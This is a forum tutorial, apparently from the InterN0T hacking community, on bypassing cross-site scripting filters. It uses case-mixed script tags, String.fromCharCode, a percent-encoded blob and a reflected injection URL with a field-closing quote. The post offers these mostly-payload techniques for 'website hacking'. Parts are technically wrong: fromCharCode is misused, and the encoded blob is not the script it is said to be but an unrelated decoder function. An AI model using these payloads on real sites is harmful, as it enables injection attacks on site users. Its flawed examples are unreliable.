Bypassing XSS Filters

Bypassing XSS Filters
For educational purposes only. I do not condone illegal activity.

sumit class. Today I am going to teach you how to bypass cross site scripting filters. For our slow intern0t members like myself, cross site scripting filters are web masters sorry attempt at protecting their sites from XSS attacks. They work by not allowing certain words or characters that are known to be used in XSS attacks. I am going to go over some common filters, and the methods used to bypass them.

Word Filters: Word filters are designed to filter out certain words such as alert or script. Most are simple to bypass. To bypass these filters you can change the characters of the script.

Original...

Code:
<script>alert('InterN0T')</script>

Change to...

Code:
<sCrIpT>aLeRt('InterN0T')</ScRiPt>

magic_quotes_gpc: This filter does not allow certain characters such as, " / and '. To bypass this filter we use: String.fromCharCode() We write our code inside () crypted in ASCII.

Original...

Code:
<script>alert('InterN0T')</script>

Change to...

Code:

<script>String.fromCharCode('InterN0T')</script>#'InterN0T' needs to be in ASCII form.

Coverting into full html: Sometimes filters will limit multiple characters including <. Most of the time you can bypass them by converting the string into full html.

Orignal...

Code:<script>alert('InterN0T')</script>

Change to...
 code download

Code:%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%6

3%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%

73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C

%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3

D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%

6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64

%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%3

1%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%

61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E

Bypass by experimentation: Most filters can be bypassed. Sometimes you have to mess around with it. A lot of times you can just add "> before the script to close out current fields. Then inject it with...

Code:
www.website.com/search.php?="><script>alert('InterN0T')</script>

This is a really simple tutorial on the most simple method of website hacking. I couldn't find any threads on InterN0T about bypassing XSS filters, so I thought I would contribute. Hope this helped. 

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